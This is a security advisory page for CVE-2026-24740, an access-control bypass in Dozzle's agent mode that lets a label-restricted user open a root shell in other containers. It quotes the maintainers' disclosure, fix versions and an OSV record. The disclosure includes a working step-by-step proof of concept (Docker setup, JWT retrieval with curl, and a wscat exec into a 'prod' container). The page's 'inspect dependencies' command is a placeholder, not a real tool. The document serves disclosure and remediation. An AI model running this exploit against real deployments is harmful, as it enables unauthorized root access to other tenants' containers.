CVE-2026-24740: Github.com/amir20/dozzle Dozzle Agent Label-Based Access Control Vulnerability

HIGH
Advisory Identifier: GHSA-m855-r557-5rc5
CWE-284 CWE-639
Published
Advisory Summary

CVE-2026-24740 is a HIGH dozzle agent label-based access control vulnerability (CWE-284: Improper Access Control) affecting Github.com/amir20/dozzle libraries in the Go ecosystem. The issue involves dozzle agent label-based access control bypass allows unauthorized container shell access. Remediation is available by upgrading affected packages to version 1.29.1-0.20260125230338-620e59aa2463.

CVE-2026-24740 at a Glance

CVE Identifier CVE-2026-24740
GHSA Identifier GHSA-m855-r557-5rc5
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-284: Improper Access Control
Affected Product Github.com/amir20/dozzle
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-24740

To remediate this vulnerability, upgrade all affected Github.com/amir20/dozzle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/amir20/dozzle fixed: 1.29.1-0.20260125230338-620e59aa2463
Upgrade github.com/amir20/dozzle to 1.29.1-0.20260125230338-620e59aa2463
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/amir20/dozzle

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24740, inspect your project dependencies for Github.com/amir20/dozzle:

inspect dependencies for github.com/amir20/dozzle

Analyze the terminal output to locate any version of Github.com/amir20/dozzle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.29.1-0.20260125230338-620e59aa2463), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Github.com/amir20/dozzle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A flaw in Dozzle’s agent-backed shell endpoints allows a user restricted by label filters (for example, `label=env=dev`) to obtain an interactive root shell in out‑of‑scope containers (for example, `env=prod`) on the same agent host by directly targeting their container IDs. **Note**: Tested on `v9.0.2` likely affects all versions with agent mode support. ### Details When SIMPLE auth is enabled, Dozzle supports per‑user label filters in `users.yaml` (for example, filter: `label=env=dev`) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via `h.hostService.FindContainer(hostKey(r), id, userLabels)` in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user’s label scope. For agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID ([agent_service.go#L27-L29](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L27-L29)): ```go func (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) { return a.client.FindContainer(ctx, id) } ``` As a result, an authenticated user configured with filter: `label=env=dev` and granted the shell role cannot see `env=prod` containers in the UI, but can still establish an interactive exec session into an `env=prod` container by calling `/api/hosts/{hostId}/containers/{containerId}/exec` (or `/attach`) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label‑based isolation between environments or tenants for agent-backed deployments. **Note**: The underlying Docker client implementation explicitly documents that `FindContainer` skips filters ([docker/client.go#L128-L137](https://github.com/amir20/dozzle/blob/master/internal/docker/client.go#L128-L137)): ```go // Finds a container by id, skipping the filters func (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) { log.Debug().Str("id", id).Msg("Finding container") if json, err := d.cli.ContainerInspect(ctx, id); err == nil { return newContainerFromJSON(json, d.host.ID), nil } else { return container.Container{}, err } } ``` **Note**: For reference, we can see the correct implementation in `ListContainers` ([agent_service.go#L43-L46](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L43-L46)): ```go func (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) { log.Debug().Interface("labels", labels).Msg("Listing containers from agent") return a.client.ListContainers(ctx, labels) } ``` ### PoC ```bash # create new dir $ cd /tmp && mkdir -p /tmp/dozzle && cd /tmp/dozzle && mkdir -p data # run dozzle agent $ docker run -d --name dozzle-agent \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ -p 7007:7007 \ amir20/dozzle:latest agent # sleep $ sleep 5 # run dev container $ docker run -d --name dev-allowed --label env=dev alpine sleep 100000 # run prod container $ docker run -d --name prod-secret --label env=prod alpine sleep 100000 # check containers status $ docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Label \"env\"}}" | grep -E 'dev-allowed|prod-secret' 3731627f4e2d prod-secret prod 51e6cffce99f dev-allowed dev # get hash for pass:devpass $ HASH=$(printf 'devpass' | sha256sum | awk '{print $1}') # create dev user $ cat > /tmp/dozzle/data/users.yaml << EOF users: devuser: email: dev@example.com name: Dev User password: ${HASH} filter: "label=env=dev" roles: "shell" EOF # sanity check users $ cat /tmp/dozzle/data/users.yaml users: devuser: email: dev@example.com name: Dev User password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c filter: "label=env=dev" roles: "shell" # run main image $ docker run -d --name dozzle-main \ -v /tmp/dozzle/data:/data \ -p 8080:8080 \ -e DOZZLE_AUTH_PROVIDER=simple \ -e DOZZLE_AUTH_TTL=48h \ -e DOZZLE_ENABLE_SHELL=true \ -e "DOZZLE_REMOTE_AGENT=host.docker.internal:7007" \ amir20/dozzle:latest # sleep $ sleep 8 # get jwt token for devuser $ curl -s -X POST http://localhost:8080/api/token \ -d "username=devuser&password=devpass" \ -c /tmp/dozzle/cookies.txt # save the token $ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}') # in browser open http://localhost:8080 -> login with user:devuser pass:devpass -> grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e $ HOST_ID="cafb9ffc-ac34-47a6-985b-10ffea39610e" # get prod cid $ PROD_CID=$(docker ps --filter "name=prod-secret" --format '{{.ID}}') # sanity check $ echo $PROD_CID 3731627f4e2d # install wscat $ npm install -g wscat # open wscat with token $ wscat -c "ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec" \ -H "Cookie: jwt=${TOKEN}" Connected (press CTRL+C to quit) < / # / # > {"type":"userinput","data":"id\n"} < id < uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / # > {"type":"userinput","data":"cat /etc/hostname\n"} < cat /etc/hostname < 3731627f4e2d < / # > quit Disconnected (code: 1006, reason: "") ``` As configured, `devuser` only sees dev-allowed in the Dozzle UI (due to filter: `label=env=dev`), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID. ### Impact This is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, `env=dev`) but has the Shell role can gain full interactive access (**read**, **modify**, **disrupt**) to containers with other labels (for example, `env=prod`) on the same agent host, provided they can obtain the target container ID. ### Remediation - In the agent-backed `FindContainer` implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by `ListContainers` for the caller’s `userLabels` before returning it to exec/attach. - Add regression tests verifying that a user with filter: `label=env=dev` and the Shell role cannot exec or attach into `env=prod` containers via the agent path, even when supplying a valid container ID. - As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter. This issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download 9.0.3. ### Resources - https://dozzle.dev/guide/authentication#setting-specific-filters-for-users

CVE-2026-24740 Affected Github.com/amir20/dozzle Versions

1 component(s)
Fixed Versions:
1.29.1-0.20260125230338-620e59aa2463
Product / Package Ecosystem Affected Versions Fixed Version
github.com/amir20/dozzle
Go
< 1.29.1-0.20260125230338-620e59aa2463
1.29.1-0.20260125230338-620e59aa2463

References

Frequently Asked Questions

What is CVE-2026-24740?
CVE-2026-24740 is a security vulnerability in Github.com/amir20/dozzle involving Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access under CWE-284: Improper Access Control.
Which Github.com/amir20/dozzle versions are affected?
Affected versions include releases prior to 1.29.1-0.20260125230338-620e59aa2463 across affected packages: github.com/amir20/dozzle.
What version fixes CVE-2026-24740?
Upgrading to 1.29.1-0.20260125230338-620e59aa2463 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/amir20/dozzle affected?
Yes, github.com/amir20/dozzle is affected in releases prior to 1.29.1-0.20260125230338-620e59aa2463. Upgrade your dependency to 1.29.1-0.20260125230338-620e59aa2463 or later.
What CWE is associated with CVE-2026-24740?
CVE-2026-24740 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-24740?
Run the dependency tree command: 'inspect dependencies for github.com/amir20/dozzle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m855-r557-5rc5",
  "modified" : "2026-01-29T03:40:06Z",
  "published" : "2026-01-27T00:55:33Z",
  "aliases" : [ "CVE-2026-24740" ],
  "summary" : "Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access",
  "details" : "### Summary\nA flaw in Dozzle’s agent-backed shell endpoints allows a user restricted by label filters (for example, `label=env=dev`) to obtain an interactive root shell in out‑of‑scope containers (for example, `env=prod`) on the same agent host by directly targeting their container IDs.\n\n**Note**: Tested on `v9.0.2` likely affects all versions with agent mode support.\n\n### Details\nWhen SIMPLE auth is enabled, Dozzle supports per‑user label filters in `users.yaml` (for example, filter: `label=env=dev`) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via `h.hostService.FindContainer(hostKey(r), id, userLabels)` in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user’s label scope.\n\nFor agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID ([agent_service.go#L27-L29](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L27-L29)):\n```go\nfunc (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {\n    return a.client.FindContainer(ctx, id)\n}\n```\n\nAs a result, an authenticated user configured with filter: `label=env=dev` and granted the shell role cannot see `env=prod` containers in the UI, but can still establish an interactive exec session into an `env=prod` container by calling `/api/hosts/{hostId}/containers/{containerId}/exec` (or `/attach`) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label‑based isolation between environments or tenants for agent-backed deployments.\n\n**Note**: The underlying Docker client implementation explicitly documents that `FindContainer` skips filters ([docker/client.go#L128-L137](https://github.com/amir20/dozzle/blob/master/internal/docker/client.go#L128-L137)):\n```go\n// Finds a container by id, skipping the filters\nfunc (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) {\n    log.Debug().Str(\"id\", id).Msg(\"Finding container\")\n    if json, err := d.cli.ContainerInspect(ctx, id); err == nil {\n        return newContainerFromJSON(json, d.host.ID), nil\n    } else {\n        return container.Container{}, err\n    }\n}\n```\n\n**Note**: For reference, we can see the correct implementation in `ListContainers` ([agent_service.go#L43-L46](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L43-L46)):\n```go\nfunc (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {\n\tlog.Debug().Interface(\"labels\", labels).Msg(\"Listing containers from agent\")\n\treturn a.client.ListContainers(ctx, labels)\n}\n```\n### PoC\n```bash\n# create new dir\n$ cd /tmp && mkdir -p /tmp/dozzle && cd /tmp/dozzle && mkdir -p data\n\n# run dozzle agent\n$ docker run -d --name dozzle-agent \\\n  -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n  -p 7007:7007 \\\n  amir20/dozzle:latest agent\n\n# sleep\n$ sleep 5\n\n# run dev container\n$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000\n\n# run prod container\n$ docker run -d --name prod-secret --label env=prod alpine sleep 100000\n\n# check containers status\n$ docker ps --format \"table {{.ID}}\\t{{.Names}}\\t{{.Label \\\"env\\\"}}\" | grep -E 'dev-allowed|prod-secret'\n3731627f4e2d   prod-secret    prod\n51e6cffce99f   dev-allowed    dev\n\n# get hash for pass:devpass\n$ HASH=$(printf 'devpass' | sha256sum | awk '{print $1}')\n\n# create dev user\n$ cat > /tmp/dozzle/data/users.yaml << EOF\nusers:\n  devuser:\n    email: dev@example.com\n    name: Dev User\n    password: ${HASH}\n    filter: \"label=env=dev\"\n    roles: \"shell\"\nEOF\n\n# sanity check users \n$ cat /tmp/dozzle/data/users.yaml\nusers:\n  devuser:\n    email: dev@example.com\n    name: Dev User\n    password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c\n    filter: \"label=env=dev\"\n    roles: \"shell\"\n\n# run main image\n$ docker run -d --name dozzle-main \\\n  -v /tmp/dozzle/data:/data \\\n  -p 8080:8080 \\\n  -e DOZZLE_AUTH_PROVIDER=simple \\\n  -e DOZZLE_AUTH_TTL=48h \\\n  -e DOZZLE_ENABLE_SHELL=true \\\n  -e \"DOZZLE_REMOTE_AGENT=host.docker.internal:7007\" \\\n  amir20/dozzle:latest\n\n# sleep\n$ sleep 8\n\n# get jwt token for devuser\n$ curl -s -X POST http://localhost:8080/api/token \\\n  -d \"username=devuser&password=devpass\" \\\n  -c /tmp/dozzle/cookies.txt\n\n# save the token\n$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}')\n\n# in browser open http://localhost:8080 -> login with user:devuser pass:devpass -> grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e\n$ HOST_ID=\"cafb9ffc-ac34-47a6-985b-10ffea39610e\"\n\n# get prod cid\n$ PROD_CID=$(docker ps --filter \"name=prod-secret\" --format '{{.ID}}')\n\n# sanity check\n$ echo $PROD_CID\n3731627f4e2d\n\n# install wscat\n$ npm install -g wscat\n\n# open wscat with token\n$ wscat -c \"ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec\" \\\n  -H \"Cookie: jwt=${TOKEN}\"\nConnected (press CTRL+C to quit)\n< / # \n/ # \n> {\"type\":\"userinput\",\"data\":\"id\\n\"}\n< id\n\n< uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/ # \n> {\"type\":\"userinput\",\"data\":\"cat /etc/hostname\\n\"}\n< cat /etc/hostname\n\n< 3731627f4e2d\n\n< / # \n> quit\nDisconnected (code: 1006, reason: \"\")\n```\nAs configured, `devuser` only sees dev-allowed in the Dozzle UI (due to filter: `label=env=dev`), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.\n\n### Impact\nThis is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, `env=dev`) but has the Shell role can gain full interactive access (**read**, **modify**, **disrupt**) to containers with other labels (for example, `env=prod`) on the same agent host, provided they can obtain the target container ID.\n\n### Remediation\n- In the agent-backed `FindContainer` implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by `ListContainers` for the caller’s `userLabels` before returning it to exec/attach.\n\n- Add regression tests verifying that a user with filter: `label=env=dev` and the Shell role cannot exec or attach into `env=prod` containers via the agent path, even when supplying a valid container ID.\n\n- As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.\n\nThis issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download \n9.0.3.\n\n### Resources\n- https://dozzle.dev/guide/authentication#setting-specific-filters-for-users",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/amir20/dozzle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.1-0.20260125230338-620e59aa2463"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/security/advisories/GHSA-m855-r557-5rc5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24740"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/commit/620e59aa246347ba8a27e68c532853b8a5137bc1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/amir20/dozzle"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/amir20/dozzle/releases/tag/v9.0.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-27T00:55:33Z",
    "nvd_published_at" : "2026-01-27T21:16:03Z"
  }
}